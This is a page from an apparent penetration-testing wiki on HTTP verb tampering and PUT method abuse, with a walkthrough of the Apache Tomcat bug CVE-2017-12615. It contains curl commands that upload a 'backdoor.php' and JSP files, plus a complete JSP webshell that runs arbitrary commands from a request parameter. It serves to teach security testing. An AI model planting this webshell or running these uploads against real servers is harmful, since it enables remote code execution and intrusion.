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  • Introduction
  • Active Directory
    • Reconnaissance
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      • NTLM
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      • Built-ins & settings
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  • Web services
    • Reconnaissance
      • HTTP response headers
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    • Configuration
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        • LFI to RCE
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      • IDOR (Insecure Direct Object Reference)
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      • 🛠️SSTI (Server-Side Template Injection)
      • 🛠️Insecure deserialization
      • 🛠️CRLF injection
      • 🛠️Arbitrary file download
      • 🛠️Directory traversal
      • 🛠️Null-byte injection
  • Systems & services
    • Reconnaissance
      • 🛠️Hosts discovery
      • Port scanning
    • Initial access (protocols)
      • 🛠️FTP
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    • Initial access (phishing)
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      • Windows
        • 🛠️Credential dumping
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        • 🛠️Account privileges
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        • 🛠️Windows Subsystem for Linux
        • 🛠️Runas saved creds
        • Unattend files
        • 🛠️Network secrets
        • 🛠️Living off the land
      • UNIX-like
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        • SUID/SGID binaries
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        • 🛠️Network secrets
        • 🛠️Living off the land
    • Pivoting
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      • 🛠️SOCKS proxy
  • Evasion
    • (AV) Anti-Virus
      • 🛠️Loader
      • 🛠️Dropper
      • 🛠️Obfuscation
      • 🛠️Process injection
      • 🛠️Stealth with C2
    • 🛠️(EDR) Endpoint Detection and Response
  • 🛠️Physical
    • Locks
    • Networking
      • Network Access Control
    • Machines
      • HID injection
      • Keylogging
      • BIOS security
      • Encryption
      • Airstrike attack
    • Super secret zones
      • 🍌Banana & chocolate cake
      • 🍳Omelette du fromage
      • 🍔Burger du seigneur
      • 🥞The Pancakes of Heaven
  • 🛠️Intelligence gathering
    • CYBINT
      • Emails
      • Web infrastructure
    • OSINT
    • GEOINT
  • 🛠️RADIO
    • RFID
      • Mifare Classic
        • Default keys
        • Darkside
        • Nested
    • Bluetooth
    • Wi-Fi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Wireless keyboard/mouse
  • 🛠️mobile apps
    • Android
      • Android Debug Bridge ⚙️
      • APK transform
      • Magisk
    • iOS
      • Certificate pinning
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On this page
  • Theory
  • Verb tampering
  • Methods abuse
  • Practice
  • Recon
  • Abusing the PUT method
  • Apache Tomcat JSP PUT - CVE-2017-12615

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  1. Web services
  2. Configuration

HTTP methods

PreviousDefault credentialsNextHTTP security headers

Last updated 2 years ago

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Theory

Verb tampering

Some websites filter access to resources but fail at filtering out all HTTP methods. When an attacker tries to access a resource with different methods (GET, POST, HEAD, etc.) to bypass the access control, this is called HTTP verb tampering.

Methods abuse

Some HTTP methods can be used for malicious purposes: PUT, DELETE, etc. The HTTP methods abuse is not aimed at gaining access to a specific page like verb tampering but more like what methods are accepted by the server and how can an attacker profit from those.

Practice

Recon

Testing for HTTP verb tampering and method abuse can be done with .

httpmethods -u "https://target.url/"
httpmethods -u "https://target.url/restricted_page"

A manual HTTP request with the OPTIONS method can also be used to enumerate what methods are supported. This works if the OPTIONS methods is allowed in the first place.

curl --include --request OPTIONS "https://target.url/"

Abusing the PUT method

The PUT method can be used to upload arbitrary files. Some directories have different rights, it can be useful to test the method on a wide range of directories.

curl --include --upload-file "backdoor.php" "https://target.url/"

Apache Tomcat JSP PUT - CVE-2017-12615

Abusing the PUT method also applies to CVE-2017-12615: When running Apache Tomcat 7.0.0 to 7.0.79 on Windows with HTTP PUTs enabled (e.g. via setting the read-only initialization parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.

Exploitation of this vulnerability can be achieved manually by creating a .jsp file and by uploading it to the target server.

test.jsp
<% out.write("<html><body><h3>JSP upload successfully</h3></body></html>"); %>
curl --include --upload-file "test.jsp" "https://target.url/"
webshell.jsp
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

If the upload is successful, the following JSP webshell () can then be uploaded to attempt at execute arbitrary commands on the remote server.

httpmethods
source